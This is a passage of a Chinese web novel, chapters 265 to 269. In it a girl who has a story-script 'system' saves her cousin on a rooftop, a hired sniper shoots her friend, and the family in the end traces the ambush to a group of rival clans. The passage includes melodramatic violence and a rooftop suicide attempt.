萧澜兰怔愣,眼里的泪水一瞬间止住,“周宴珩!” 她突然疯癫,抱着周宴珩的腿张口要咬。 傅潇潇直接一脚踹在萧澜兰脸上,“你是疯狗吗?要撒泼找你那些野男人去。” “我要杀了你们!我要杀了你们!” 萧澜兰从地上爬起,却不知被谁绊了一脚扑倒在地,人群里立马发出哄笑声。 “好了,闹剧该结束了。” 周宴珩拉开车门,车大灯骤亮直射人群,众人纷纷退让,声浪轰鸣扬尘而去。其余人嬉笑怒骂,吹着口哨回到自己的座驾,一时间声浪阵阵甚嚣尘上。 视频最后一帧落在被城市街景照亮的夜幕上。 傅绥尔已经是第二次看这段视频了,但还是被气得不轻,“刚刚我妈接到电话,说萧澜兰假借上厕所从机场逃了出去。萧家现在已经乱了套,我妈和四舅五舅已经赶过去帮忙了。” “你说她到底怎么想的?都这个时候了,还敢拿着验孕棒去找周宴珩?周宴珩是什么人?怎么会被她威胁?” 姜花衫眉头紧蹙,神情凝重。 萧澜兰有了孩子,还任由周宴珩在大庭广众羞辱,这一段,不应该是沈眠枝的剧情吗? 难道因为沈眠枝觉醒了一半,所以剧情改变了? 不对! 剧目之门没有发出剧情偏离的提醒,说明这是这个世界本应该要发生的事。 “衫衫,我问过我妈妈了,她说萧澜兰出事应该是有人想吞了金山那块地。” “金山?”姜花衫眼底一亮。 想起来了,上一世她借着生日宴不仅羞辱了萧澜兰还反击了黄谣,爷爷知道后并没有责怪她。 没多久,萧家就传来资金崩盘的消息,被迫让出了大半金山的开发权,她当时还暗爽了很久。 话说,瓜分金山的那几个是谁来着? 关、顾、傅…… 还有一家是谁啊?怎么不记得了? 傅绥尔见姜花衫一会儿皱眉一会舒展,一脸关切,“衫衫,你怎么了?” 姜花衫转头看向傅绥尔,“萧澜兰呢?被带回去了吗?” 傅绥尔情绪有些失落,“不知道,视频是半个小时前发出来的。” “衫衫,绥尔。” 两人正说着,门外响起沈眠枝的声音,傅绥尔一愣,略带疑惑看向姜花衫。 姜花衫摇了摇头,起身去开门。 “枝枝,你怎么来了?” 沈眠枝举起手机,“我刚刚收到消息,萧澜兰失踪了,我来就是想问问你们,要跟我一起去找人吗?” 傅绥尔立马钻出房门,“我去。” 姜花衫顺手把人拉了回来,沈眠枝略有不解,她原以为姜花衫一定不会坐视不管的。 “这么晚了,我们出去不安全,萧澜兰在……” 国贸世纪顶楼。 后面六个字被消音了。 【叮咚——】 【警告!世界剧目规则五:审判剧目不可逃避。】 …… 第265章 盛情邀请了自己 审判剧目? 审判谁? 脑子里的提示音出现地猝不及防,姜花衫一时没反应过来。 沈眠枝和傅绥尔不解看着她。 【叮咚——】 【当前人物沈眠枝,随意撕毁人物标签,剧目惩罚:立即抹杀!】 又来了。 姜花衫怔愣,转头看向沈眠枝,她的头顶慢慢凝集绿光。 【抹杀倒计时:12:00:00】 竟然是审判沈眠枝?! 姜花衫恍然大悟,原来并不是要撕掉所有标签才会被惩罚,是标签一旦损坏就会抹杀。 眼前的世界忽然如潮汐涌来,她被包裹在漩涡中心,湍急的风暴阻碍了她与这个世界的一切联系。 这深渊极静极黑,除了自己,她什么都感受不到。 “衫衫~衫衫~” 恍惚中有人隔着千层浪在呼唤她。 “哗——” 她猛然惊醒,光影重置,潮水骤然散去,世界秩序恢复如初。 姜花衫眨了眨眼睛,转头看向傅绥尔,“眠枝呢?” 傅绥尔紧紧握着她的手,“她走了。” 走了?姜花衫回过神,一定是她空白的那几秒,“她去哪了?” 傅绥尔,“她去找萧澜兰了。” 找萧澜兰? 姜花衫只觉一颗心悬了起来。 黄谣、羞辱的剧情没有删减,只是伤害转移,那么跳楼自杀的剧情也不会删减。 审判?抹杀? 坏了! 沈眠枝的结局提前了。 是因为她,因为她擅自唤醒了沈眠枝,所以剧目之门开始监管,又因为沈眠枝的标签只撕了一半,所以她连求生的时间也只有一半。 “绥尔。”姜花衫一把抓住傅绥尔的胳膊,“立刻通知沈让,告诉他沈眠枝……” 她忽然顿住。 不行。 【世界剧目规则四:本世界剧情不接受除剧目之门以外的任何力量更改。】 除了她,这个世界没有人能救沈眠枝。 姜花衫慢慢松开傅绥尔的手,故作轻松笑了笑,“鲸港就这么大,她们应该很快就到家了,时候不早了,你先回冬园。” “我跟你一起去。”傅绥尔抓住她的手,“我知道你想甩下我去找眠枝,我不会上当的。” 姜花衫笑容僵住,摇了摇头,“不行,会有危险。” 傅绥尔笑了笑,“我不怕,我会俯视一切困境。” * 凌晨两点。 国贸世纪依旧灯火辉煌,大楼一共十三层,当初一落地就成了鲸港地标性建筑。 高空视野极好,俯瞰时,城市的喧嚣霓虹、车水马龙都在脚下,仰望时,夜幕当空繁星璀璨举手可摘。 萧澜兰站在顶楼的围栏前,她既不抬头也不低头,目光所及是一幢幢钢铁丛林,在她眼里,它们就像深夜蛰伏的巨兽,虎视眈眈不怀好意。 这个世界有好有坏,有善有恶,每个人能看到的都只是自己眼中的世界。 萧澜兰神情萎靡坐在围栏上,指尖一根一根松开,掌心的验孕棒从高空坠下,那仅存的一点念想被她抛下了万丈深渊。 与此同时,十米开外的双子楼。 男人身穿黑皮夹克,面无表情校正瞄准镜对准萧澜兰,他正欲叩响扳机,身边的少年卸下枪匣。 “急什么,瞧她这样等会儿自己就跳下去了。” 男人有些不耐,“她已经在那晃荡四个小时了,再晃下去天都要亮了。要死早死了,还不如给一梭子干脆。” “急什么,还有四个小时才天亮,”夏星沉语调慵懒,从书包里拿了一瓶啤酒扔给男人,随即拿出笔记本,手指在键盘飞快输入。 男人接过啤酒,想了一会儿拉开易拉环。 氛围瞬间变轻松。 * 一个人的世界观如果形同废墟,那世界于他而言也形同虚设。 萧澜兰站起身,张开双手与世界诀别。 天幕之下,她的身影渺小到不值一提。 “萧澜兰!” “你连死都不怕,难道还怕被人羞辱吗?” 夜幕中,有人怒喊了一声,她身体一僵,缓缓转过身,“沈眠枝……” 沈眠枝站在夜风里,眼底印着城市霓虹。 * 凌晨2:30分。 姜花衫和傅绥尔赶到了国贸大楼。 一到七楼的商场已经停止营业,她们只能从地下停车场乘酒店电梯上顶楼。可电梯到达三十层时被迫停了下来,酒店工作人员给出的解释是,顶层三楼暂不对外开放。 不对外开放,沈眠枝和萧澜兰又是怎么上去的? 酒店工作人员态度强硬,发现她们并非酒店客户后,叫来安保准备驱赶。 姜花衫朝傅绥尔使了个眼色,傅绥尔当即撒泼指着工作人员大骂。 “你们敢动我一根手指试试?我让我妈弄死你们!” “知道我妈是谁吗?鲸港女王沈娇!知道我外公是谁吗?鲸港太上皇,沈庄!!” 这两个名号一出,酒店的工作人员吓傻眼了。在A国就算三岁小孩都知道影子总统沈太爷更别说他们。 趁着众人不知所措时,姜花衫一把抢过主管手里的门禁卡,一溜烟进了电梯,刷卡关门一气呵成,连同傅绥尔也一并拒之门外。 傅绥尔这才反应过来自己被套路了,姜花衫根本不打算带自己。 她气结,转头抓着主管,“给我卡!” 主管一时摸不准她的身份也不敢得罪,小心道,“姑奶奶,你刚刚不是看见了,那卡被你朋友拿走了。” “少糊弄我,不是应该还有备用卡吗?” “备用卡不在我身上,在经理办公室。今天电梯出了故障,刚刚才修好,我正要拿卡封锁楼层你们就来了。” 傅绥尔心绪不宁,“你们总经理办公室在哪?” 主管默默朝朝同伴使了个眼色,“您跟我来。” * 顶楼的风愈发萧瑟。 萧澜兰站在围栏上,神情癫狂,“沈眠枝,你是来看我的笑话的?” 沈眠枝嘴角抿直,“不是。萧澜兰,你这个时候做傻事,是亲者痛仇者快。” “亲者?哈哈哈哈!”萧澜兰仿佛听了一个天大的笑话,“我哪还有亲者?我的亲者要把我赶出A国,他们视我为耻辱。” 沈眠枝往前一步,“爷爷赶你何尝不是保护你?你妈妈为了护住你,不惜跪地求饶,她……” “你闭嘴!啊啊啊!你少在这假仁假义,我看着恶心!”萧澜兰神情激动,单薄的身子在空中大幅摇摆。 沈眠枝不敢再刺激她,重启话题,“萧澜兰,你是萧家倾尽心血教养出来的大小姐,你的能耐就只有这样吗?被践踏了只会躲起来折磨自己?你就不想还回去吗?” 萧澜兰眼眸微怔,缓缓看着她,“说的简单,如果是你,你能还回去吗?” 沈眠枝脑子忽然空白,这声音轻的没有一丝重量,却像鬼魅一般锁住了她的咽喉。 她眨了眨眼,不知怎的,泪水忽然像断了线的珍珠夺眶而出。 她有些惊讶,抬手轻轻擦去。 “我会。”沈眠枝艰涩开口,眼中迸发出夺目的光彩,“萧澜兰,我会还回去!碎我脊梁者,不死不休。” “……” 萧澜兰静静看着她,良久没有反应。 沈眠枝思忖片刻,一步一步走近。 “萧澜兰,回头吧,活着才能弥补。”她伸手向萧澜兰发出邀请。 姜花衫推开顶楼的大门…… 星河为幕,有个女孩儿在星空下盛情邀请了上一个故事里的自己。 -【活着,我们一起勇敢。】 …… 第266章 心甘情愿为你赴死 姜花衫没有出声,一步一步走向两人。 这是沈眠枝对自己的救赎,起码这一刻她不会打扰。 萧澜兰怔怔看着沈眠枝,癫狂的眸色逐渐平静。她抬手,指尖试探落于另一只手的掌心,沈眠枝一把抓住她。 “回头吧。” 萧澜兰犹豫了一秒,从栏杆上爬了下来。 “太好……” 话音未落,萧澜兰反手甩开沈眠枝,双手抵着她的肩膀用力一推。 沈眠枝怔愣,难以置信看着她,但身体已经反应不及向后倾倒。 就在这千钧一发之际,有人拽住了她的手。 围栏之外还有一截二十公分的挡水檐,幸亏姜花衫及时出手,沈眠枝借着拉扯之力站稳了脚跟。 她仿若大梦一场忽然惊觉,她低头,人间繁华都在脚下。 抬眼,星夜为幕,有人为她而来。 姜花衫拽着围栏之外的沈眠枝,轻声道:“结束了。” 沈眠枝感受到掌心的温暖,回过神时泪水已经流了满面。 头顶仅剩的标签渐渐黯淡,若隐若现。 没有消失,但是大大削弱了。 萧澜兰反应过来,吓的拔腿就跑。姜花衫扶着沈眠枝爬过栏杆,等她安稳落地后,不慌不忙捡起地上的砖块对着萧澜兰砸了过去。 “啊!” 萧澜兰一声惨叫摔倒在地。 姜花衫撸起袖子,对着萧澜兰一顿拳打脚踢,“要不是看在爷爷的份上,我早就揍你了。” 萧澜兰折腾了一天,又在顶楼吹了几个小时的风,此时完全不是姜花衫的对手。 姜花衫修理完,直接拽着她丢出围栏。萧澜兰却好似惊醒了一般,抱着围栏不撒手。 姜花衫可不是沈眠枝,拿了块板砖对着她的手砸去,萧澜兰叫苦不迭只能向沈眠枝求情。 “枝枝,我错了,我刚刚也不知道是怎么了,我不是故意的。” 沈眠枝不作声,回头找了个更大的板砖递上姜花衫。 姜花衫一板砖拍在萧澜兰的头上,顿时鲜血四溅。 “啊啊啊!!!”萧澜兰吓的惊声尖叫。 姜花衫掐着她的脖子,“痛吗?你现在明白了,只有身体传来的伤害不可转移,其他所有能伤害你的都是你自己的臆想,你不是输给了黄谣,是输给了自己。” 萧澜兰哭着大叫,“你这个疯子懂什么?我已经名誉扫地了,都辈子都不可能有人敢娶我了,我彻底完了。” 姜花衫甩手一巴掌扇了过去,力道之大直接把萧澜兰打懵了。 “你脑子是不是进水了?你是萧家大小姐,你外公是沈庄,你就算养一衣橱男人,也不耽误想娶你的排队排到S国去。萧澜兰,你好歹受了这么多年的精英教育,脑子里怎么只有嫁人这种思想?真是败兴,你还是去死吧。” “啊啊!!别松手!!!”萧澜兰两只手都被砸烂了,忍着剧痛抱着姜花衫的胳膊。 “现在知道怕死了?晚了!我们现在也不想救你了。你赶紧死,你死了,你妈立马疯,你爸娶后妈。哦,对了!还有你那些LZ、视频正好来个死无对证,皆大欢喜。” 萧澜兰哇的大哭起来,“我不死了!姜花衫你把我拖上来,求求你了。” 姜花衫冷笑,“想清楚了?” 萧澜兰哭得一把鼻涕一把泪,“我才不要皆大欢喜,我要他们死。” 姜花衫看了沈眠枝一眼,沈眠枝立马上前搭手,两人再次把萧澜兰拖了上来。 * 双子楼。 “这可怎么办?这三人怎么打来打去握手言和了?这小孩儿是谁啊,还真把人打服了?”男人手里的啤酒罐早空了,瞠目结舌望着对面。 夏星沉看了一眼,举起手机拍了一张照片发送。 之前收到的任务是处理萧家那丫头,可是没想到对面越来越热闹,照这么看来,萧澜兰已经打消了自杀的想法。 情况有变,他们必须重新确认一下目标。 叮咚—— 一则信息跳出。 【杀了沈眠枝】 夏星沉垂眸,起身开始收拾东西,临走时拍了拍男人的肩膀,“杀那个齐刘海的。” * 凌晨三点。 国贸顶楼。 一番折腾,姜花衫已经精疲力尽,转身看向沈眠枝,“我们赶紧……” 她一愣,这才发现沈眠枝头顶的抹杀倒计时竟然是,【07:00:00】 怎么只剩七个小时了? 她九点从竹园出来,沈眠枝十点来的菊园,当时交谈的时间很短,三分钟都没有。沈眠枝走后,她马不停蹄赶到了国贸,中间也不过花了半个小时。 按道理现在应该不超过十一点,这中间的四个小时去哪了? 还没等她想明白,眼前扫过一道红点,姜花衫抬眸,红点对准沈眠枝的眉心。 如果沈眠枝中枪一定会死,但如果是她就未必,她有剧目之力。 姜花衫把心一横,一把拽过沈眠枝挡在她身前,“快走!” 话音刚落。 “砰——” 子弹穿过风息,射穿血肉之躯。 姜花衫怔愣,一滴滚烫的鲜血落在眼角,比血更烫的是傅绥尔的拥抱。 “终于赶上了。” 【叮——】 【抹杀倒计时结束。】 【恭喜当前人物沈眠枝,完成盛情邀请。奖励:你是聪明的孩子,智慧是你勋章,剧目世界为荣耀让步。】 【叮——】 【金兰篇傅绥尔,完成进度:2/2】 【为剧目世界载入当前剧情:第266章--心甘情愿为你赴死】 …… 第267章 无与伦比的幸运 傅绥尔对着姜花衫笑了笑,才慢慢闭上了眼。 子弹贯穿了她的下腹,鲜血汩汩喷涌。 “啊啊啊啊!”萧澜兰吓得抱头鼠窜。 “绥尔……” 姜花衫抱着摇摇欲坠的身体,第一次感受到了害怕。这种害怕就像上一世忽然听到爷爷的死讯,压得她喘不过气。 “绥尔!”沈眠枝神情大变,一边脱衣服为傅绥尔止血一边观察四周,“衫衫,危险,我们先……” 话音未落,顶楼上空传来刺耳的风噪声。 三人抬头,密密麻麻的黑色直升机占据了整个上空,旋转的螺旋遮住了天上所有的星光。 一架直升机缓缓下降,舱门推开,沈娇惊慌失措冲出舱门。 “绥尔!” 待看见傅绥尔浑身是血倒在姜花衫怀里,沈娇眸光失神,仿佛行尸走肉一步一步上前。 “怎么会这样?刚刚不是还好好的?” 姜花衫低下头,声音颤抖,“对不起,她是为了保护我。” 沈娇失焦的眼神渐渐清明,她忍着痛苦,一手抱起傅绥尔,一手搂紧姜花衫,“不用对不起,这不是你的错。” 姜花衫眸光颤动,含在眼底的泪水夺眶而出。 从知道这个世界的真相后,她再没有掉过一滴眼泪,可是这次却怎么都止不住? “枝枝!”沈让跳下飞机,抓着沈眠枝上下查看,“怎么样?你有没有受伤?” 沈眠枝摇头,泫然欲泣看着姜花衫的背影,“爸爸,我没事。是衫衫和绥尔保护了我。” 沈让点头,转身跑到沈娇面前,半跪托住傅绥尔的头,“阿娇,先把孩子送去医院。” * 医院走廊的尽头是扇窗,清晨的露珠挂在玻璃上结了一层薄薄的霜。 手术室的灯和被晕开的血一样红。 沈娇坐在等候区,心力交瘁望着手术室的门,沈眠枝静静握着她的手。 沈让刚挂了电话,电梯门打开,沈家众人全部到齐。 沈兰晞往手术室的方向看了一眼,神色担忧,“小叔,绥尔现在是什么情况?医生怎么说?” 沈让眼眶微红,转身背对沈娇,小声道,“医生说子弹打中了胃部,就算弹片取出来,绥尔……也可能救不活了。” 救不活了!? 沈兰晞怔愣,万万没想到会是这个结果。 沈清予转头看向沈娇,“那小姑姑……” 沈让,“她应该心里清楚。” 小时候学搏击术的时候,人体脾脏器官、脉门死穴,沈娇闭着眼睛都能摸中。 气氛忽然变得沉重,谁都没有再说话,沈归灵扫了大厅一眼,默默收回目光。 又过了一会儿,电梯门再次打开,沈娥急冲冲跑出轿厢。 “澜兰!” 萧澜兰手足无措坐在手术室前,猛然听见沈娥的声音,情绪瞬间失控,站起身扑向沈娥,“妈妈!” 沈娥见萧澜兰浑身包着绷带,人都吓傻了,“澜兰,你怎么成这样了?谁打的?” 萧启跟着从电梯走出,正欲上前安慰,萧澜兰转身背了过去。 沈娥并不在意女儿的小动作,轻轻拍了拍她的背以示安抚。 萧澜兰哪敢承认自己推沈眠枝被姜花衫打的事,含糊摇头,“我没事。” 沈娥拍了拍她的手,神情复杂,犹豫片刻拉着萧澜兰,一起坐进了等候室。 * 姜花衫独自一人坐在消防门后的楼梯上。 楼道很安静,安静得就像这个世界只有她一个人。 墙上有扇小窗,外面的世界灰蒙蒙的。 忽然,有脚步声走近,白炽灯骤亮。 姜花衫不适抬起手,刚抬眸,就看见有道黑影在她身边停了下来。 “走开。”她声音有些哑,甚至有些不耐烦。 沈归灵弯腰,从口袋里拿出一个小硬盘递给她。 姜花衫放下手,一双眼睛比兔子还红,但只是红,没有沮丧,也没有灰心,更没有被打倒。 沈归灵看着她,“诺。” 姜花衫垂眸,盯着他指尖的黑色小玩意,哑着声音问道:“什么?” 沈归灵,“缠了我一晚上要的东西,你说是什么?” 什么一晚上,就一个小时。姜花衫没心思纠正,从他手里拿过黑色硬盘。 她的手都是血,指尖抵上掌心时,沈归灵眼眸黯了黯。 “你还想要什么?” “嗯?”姜花衫微愣,不解看着他。 沈归灵故作不经意撇过头,“你说的对,我的清白是你保下来的,于情于理我都应该报答这份恩情。” 姜花衫将硬盘放进口袋,吸了吸鼻子,“你认真的?” 沈归灵没有看她,嗯了一声。 “什么都可以?” 沈归灵想了想,“只要我力所能及。” 姜花衫不假思索,“我想要你答应我一百个要求,我说什么你都不能拒绝。” 沈归灵眉梢微挑,转头看着她。 姜花衫垂眸,“不行就算了,绥尔……” 沈归灵眸光微动,“好,我答应你。” 姜花衫错愣,瞠目看着眼前的少年。 她的目光炙热直白,看一眼就感觉心口在灼烧。 沈归灵掩眸,情绪有些复杂,“有件事要告诉你,绥尔……” “绥尔!!” 突然!走廊外响起沈娇凄厉的嘶喊声。 姜花衫神情微变,起身打开消防通道的门跑了出去。 沈归灵慢慢直起身,透过渐渐闭合的门缝看着她惊慌失措的背影。 “绥尔!绥尔!” 沈娇几乎失去了所有力气,依靠在沈眠枝的肩膀上。 沈让、沈澈神情凝重。 医生小心翼翼解释,“请家属快点做选择,耽误的时间越久,患者就越危险。” 沈让一时拿不定主意,转头看向沈兰晞和沈清予,“你们说,怎么办?” 傅绥尔的情况很糟糕,胃部大出血,如果不把弹片取出来血根本止不住。可受伤的位置特殊,如果手术稍有差池,胃液倒流腐蚀内脏,傅绥尔会被活活痛死。 鲸港最好的术科圣手都在这,没有人看好这场手术,他们让家属做决定,其实就是让沈娇决定傅绥尔的死法。 这让沈娇怎么能接受? 沈清予吐了一口浊气,“这还用想吗?不做一定死,做了就有生还的可能,那还犹豫什么?” 医生,“绥尔小姐送过来的时候就已经失血过多,就算输血也支撑不了这么大的手术,以她现在的体力极有可能撑不到手术最后。” 言外之意,连这场手术都是催命符。 沈清予怔然,一时无言。 沈眠枝搀扶着沈娇,默默捂着鼻子不敢让自己哭出来。 医生见众人都沉默,心急如焚,“时间急迫,家属请尽快选择,否则就来不及了。” “做!” 姜花衫冲出走廊,掷地有声回应。 众人诧异,还没反应过来,姜花衫就抢过了医生手里的手术同意书。 医生立马阻止,“你还是孩子,签字无效,而且必须是直系亲属。” 姜花衫一愣,转头看向沈娇。 沈娇扶着沈眠枝站了起来,泪如雨下,“她可以,她是绥尔的姐姐。” 说罢,拿过姜花衫手中的笔签下了自己的名字,随即又把笔递给她。 姜花衫笑了笑,接过笔,在亲属一栏一笔一划写下自己的名字。 【恭喜您完成剧目隐藏剧情,金兰篇之《山河不足重重在遇知己》】 【剧目奖励:无与伦比的幸运】 【请再次确定,绑定/赠与】 -【赠与】 她在心里默念。 笔势落成,一滴泪水夺眶而出,溅湿了落款。 -【我们相遇,就已经是一场无与伦比的幸运了】 姜花衫将手术书交还给医生,转头看向沈娇。 “她会活下去的,因为她说过,她会俯视一切困境。” “妈妈,我们要相信妹妹。” * 清晨的第一缕艳阳穿破露珠,融化了玻璃上的霜。 天亮了。 红灯转灭,专家们从手术室里走了出来,焦急等候的沈家人纷纷站了起来。 领头的医生摘下口罩,疲惫的脸上抑制不住激动,“恭喜,绥尔小姐很坚强,手术很成功。” 死亡的阴霾骤然驱散,沈娇捂着脸喜极而泣,其他人的脸色也纷纷好转。 “绥尔小姐福大命大,这简直就是医学奇迹,手术创伤很小,术后反应也比预期的还要好。连我们都不敢相信,她就这样从鬼门关闯了过来。” 沈眠枝眼含热泪,转头看向姜花衫,姜花衫虽然已经知道了结果,但这一刻,她还是抑制不住欢喜。萧澜兰大松了一口气,沈娥轻轻拍了拍她的手背,眼中隐有湿润。 “叮——” 就在这时,电梯门缓缓打开。 沈庄一身黑色西装,手拄着拐杖慢慢走了出来。 “爸!” “爷爷!” 沈庄的出现,让所有人都猝不及防。 沈娇最先反应过来,原本已经止住的泪水再次泛滥。 “爸,绥尔……” 沈庄抬手制止,一步一步走到专家面前,气势逼人,“我孙女怎样了?” 专家们立马又把刚刚的话说了一遍,但这次解释的更加清楚。 沈庄点头,“沈执。” 沈执上前,“诸位辛苦,这边请。” 这是要做什么? 专家们不敢有异,相互看了看听从安排进了电梯。 与此同时,孟医生带着一行医疗团队从电梯出来,二话不说走进手术室把傅绥尔推了出来。 沈娇神情激动,想跟上去看看情况,但见沈庄脸色冷然又退了回去。 沈庄转身看向等候区,目光一一扫过众人,除了沈谦和姚歌,沈家人都到齐了,萧澜兰一直低着头,不敢与沈庄对视。 “我不过出去两天,家里就发生这么大的事?绥尔差点连命都没有了,你们怎么想?” 沈渊、沈澈、沈让低着头,大气都不敢出。 沈眠枝犹豫片刻,硬着头皮出声,“爷爷,今晚有人一直在暗处埋伏,他们……” 沈庄抬手打断沈眠枝,转头看向郑松,“你先送两位小姐回沈园。” 闻言,沈眠枝也不敢再替沈让解释,乖乖走到郑松身边。 姜花衫犹豫片刻,上前拉了拉沈庄的衣角,“爷爷,我想先去看看绥尔。” 沈庄眼神柔和了不少,“她这会儿也不会醒,你听爷爷的先休息,等你休息好了,爷爷会让你们见面的。” 姜花衫回头看了沈娇一眼,捂着嘴小声道,“爷爷,妈妈这会儿也不好受,你别说她,要骂先骂他们。” “……”一群‘他们’抬头看向姜花衫。 沈娇哭笑不得。 沈庄看着她沾满鲜血的双手,眼中满是心疼,“爷爷知道,先回去好好休息。” 姜花衫点头,跟着郑松一起进了电梯。 * 郑松不苟言笑,长的又吓人,以前姜花衫连正眼都不敢看他,但现在心境不同,除了在意人的生死,她已经不惧怕任何东西。 一上车,姜花衫就开始打探消息。 “郑松,爷爷怎么突然来了?首脑会议怎么办?是谁告诉他绥尔受伤的?” 沈眠枝一脸错愣。 郑松性子古怪,除了爷爷他基本不跟别人交流,姜花衫这么问他,等于对牛弹琴。 果然,郑松坐在副驾驶座完全没有反应。 姜花衫不满,探头拍了拍他的肩膀,“你说话啊?你是哑巴吗?” 沈眠枝赶紧拉住她,小声劝道,“还是算了吧,他只听爷爷的。” 姜花衫挑眉,“行,我回去就告诉爷爷,说你是仇家派来的奸细,让他开除你。” 郑松终于有反应,脸上肌肉跳动,“我不是。” 姜花衫,“我说你是你就是。” 郑松皱眉,脸色阴沉看着姜花衫。 沈眠枝看得心惊胆颤,生怕郑松下一秒就掐断姜花衫的脖子。 不料,半响后,闷葫芦开口了,“老爷子打断了傅领南的鼻梁骨,傅岭南急着看医生,首脑会议被迫叫停。” 沈眠枝微愣,难以置信看向姜花衫,还真说了!不过,这信息也太炸裂了! 姜花衫眼睛一亮,“原来这样,那爷爷怎么知道绥尔出事了?消息不是传不进去吗?” 郑松,“黑盒子密报。” “黑盒子密报?” 沈眠枝见姜花衫一头雾水,立马解释,“黑盒子是我国军区一级传信箱,他的编码等级远远超过了国会厅的信息干扰屏障。可是……”她不解看向郑松,“我们家有黑盒子吗?我怎么记得只有前线军区司令才有这样的特权?” 郑松没有回答。 姜花衫灵光一闪,“是沈兰晞。” 沈玺是A国已故军委总司令,沈兰晞有黑盒子完全说的通。 …… 第268章 生死之交 回到菊园,姜花衫倒头就睡。 梦里光怪陆离,一张张脸从黑白到彩色,从模型到方块,最后一幕是一颗急速穿行的子弹,击中了沈眠枝的眉心。 “轰——” 她在噩梦中惊醒。 【叮——】 【警告:当前主线剧情偏离23%】 【警告:主线偏离90%,剧目世界将毁于一旦。】 脑子空白了几秒,姜花衫捂着头翻身下床。 园里隐隐约约传来张茹和沈眠枝的对话。 “眠枝小姐,要不要再吃点茶果?我们家小姐这会儿可能还不会醒,她可能睡呢。” “没事,我在院里吹吹风也挺好,这些花是你弄的吗?” “不是,我也就会弄点吃的,那是我们家小姐侍弄的。她虽然不爱动,但招呼这些小玩意倒不含糊。” 姜花衫趿拉乌龟拖鞋,无精打采爬在窗台,“张妈,你又说我什么坏话?” 张茹抬头看见姜花衫,猛地一拍额头,“呀!忘记了,我还煲着烫呢。”说着,火急火燎跑进厨房。 沈眠枝笑着朝她招手,“衫衫,下来。” 姜花衫揉了揉眼睛,简单洗漱了一下,打着哈欠慢悠悠下楼。 “怎么了?萧澜兰被打死了?” 残害手足,爷爷既然回来了,必然不会放过她。 沈眠枝打开手机,点开娱乐头条递给她,姜花衫接过手机,扫了一眼。 【#惊爆!国民女神萧澜兰首次回应黄谣事件】 【#热热热!国民女神萧澜兰宣布退出娱乐圈】 就这样?她还能蹦跶?平平无奇的热搜。 “你再看看。” 姜花衫点开标题。 视频里,萧澜兰脸上、手上都打着绷带,神情并茂痛诉着造谣者给她带来的痛苦,她当着记者的面,暴露了三千多名黄谣霸凌背后的老鼠,并扬言这件事一定会追究到底,让造谣者付出惨痛代价。 最戏剧的是澄清之后的转折。 萧澜兰从一个被迫害的女性角度分析了谣言的可怕,她说,自己手握资源依旧不能抵抗伤害,可想那些正在被谣言迫害的女生该有多无助,受此教训,她希望能为同为受害者的同伴做些什么? 接着,她宣布沈家和萧家将联合成立全国范围的女性法律援助基金会,里面会聚了A国最有资历的顶级律师团,可无偿为每位有需要的女性同胞服务。 最后,萧澜兰以自身经历鼓励每一位正在经受谣言迫害的女生: “这世界上根本不存在隐私照片,除非自己承认,如果有人能证明是你的隐私,那他就正在侵犯你的隐私,他将有罪。” 这一场发布会堪称教科书式逆转,不仅让萧澜兰绝境逆袭,就连萧家也被捧上了新的高度。 姜花衫啧了一声,“这谁的主意?别说,我突然就get到萧澜兰的黑马影后的实力了。” 任谁都听得出这是反讽,沈眠枝跟着笑了笑,“是阿灵哥。” 姜花衫挑眉,兵不血刃,倒像是那交际花的风格,“萧澜兰的结局呢?” “她已经被驱逐了,听说爷爷给她找个了女子学校,说是学校,其实跟监狱没什么区别,什么出来全看造化了。” 姜花衫看了沈眠枝一眼,“你不恨她?” “恨,但是爷爷有他的顾虑,不可能真的把萧澜兰送进监狱,沈家也丢不起这个人,这个我道理明白。你已经帮我教训了她一顿,她失去了自由,也算得到了教训。 姜花衫点点头,不对仇恨执着,是个聪明人。 沈眠枝从口袋里掏出一只弹夹,“当初埋伏的人就在对面十米远的双子大楼,这是当时遗落在现场的,他们应该没想到沈家暗堂的直升机会空降国贸,着急撤退才落下了把柄。” 姜花衫接过残片,“查清楚来历了?” 沈眠枝点头,悄悄凑近姜花衫,“暗堂查过了,这不是兵工厂的货,倒像是军需。” “军需?” 如果是军需问题就大了。 现在世界局势紧张,小国之间战火不断,军火商为了扩大利益在全球建造兵工厂,专做地方政权和雇佣军的生意。 可若是军需,说明有人动用了的国本资源,那就可能涉及****** 姜花衫,“爷爷有眉目吗?” 沈眠枝摇头,“这个我不清楚,这件事爷爷并没有公开处理,我之所以知道是因为我翻看了爸爸的暗探记录,不过上面也就记录这么多。我猜…爷爷应该知道一些内幕。” 她顿了顿,又道:“郑松不是说爷爷打断了傅岭南的鼻梁骨?爷爷一般不会轻易出手,既然出手必有原因,我觉得这就是信号点。另外,萧澜兰事件最初的造谣黑手已经查出来了,就是傅潇潇。” “但我并不认为傅潇潇有能力把这件事闹成这样,萧家和二伯都曾试图压制舆论,但一点效果都没有,说明背后推手起码有与萧家、沈家旗鼓相当的能力。可是放眼A国,没有哪个家族能与我们沈家比肩,所以我猜可能联盟。敌人联盟,企图以白蚁之势蚕食沈家这棵参天大树。” 姜花衫眼睛一亮,既惊喜于沈眠枝竟然能触碰暗堂机密,又惊叹于她的反应之快。 沈眠枝继续说道,“现在傅家和沈家已经完全撕破脸,爷爷反对傅家掌控司法,傅家阻止大伯重入国会。议员长的选举已经接近尾声,目前还有五个州的票没有纳入统计,大伯能不能重新坐上议员长的位置就看这场博弈最后是谁胜出了?” 姜花衫凝眉,国会是A国的立法机构,如果沈家重掌国会便可制衡法院和国务院,从大局来看,爷爷应该会帮沈谦上位。 上一世,也是如此,沈谦重回巅峰,二房风头一时无二。 “听我爸说,这次首脑会议闹的很大,目前也就周家、苏家还没有表态。” 姜花衫摆摆手,“这种老油条一般都是菜上桌了才动筷。” 话糙理不糙,沈眠枝想想也是这个道理,笑着点头,“还是你看的通透。” 姜花衫眼神微动,“你在这等着我就是为了告诉我这些消息?” 怎么有种给她通风报信的感觉。 沈眠枝收敛笑容,忽然变得郑重,“不是,我是来向你道谢的。谢谢你救了我。当时如果不是你,我已经死了。” 她永远不知道,姜花衫奋不顾身的背影已经是她此生的永不磨灭救赎,她从来不敢想象,有人待她重于生命,甚至愿意为她舍命。 “衫衫,我今天来就是想告诉你,从今天起我会努力做一个执剑的勇士,等你需要的那天我为你赢得荣耀。” 姜花衫一脸嫌弃,“什么鬼!好中二。” 沈眠枝笑了笑,“说人话就是,我们是生死之交了。” …… 第269章 消失的四个小时 沈眠枝离开没多久,沈娇突然造访。 姜花衫正在院子里逗乌龟,回头见她神情微微有些别扭。 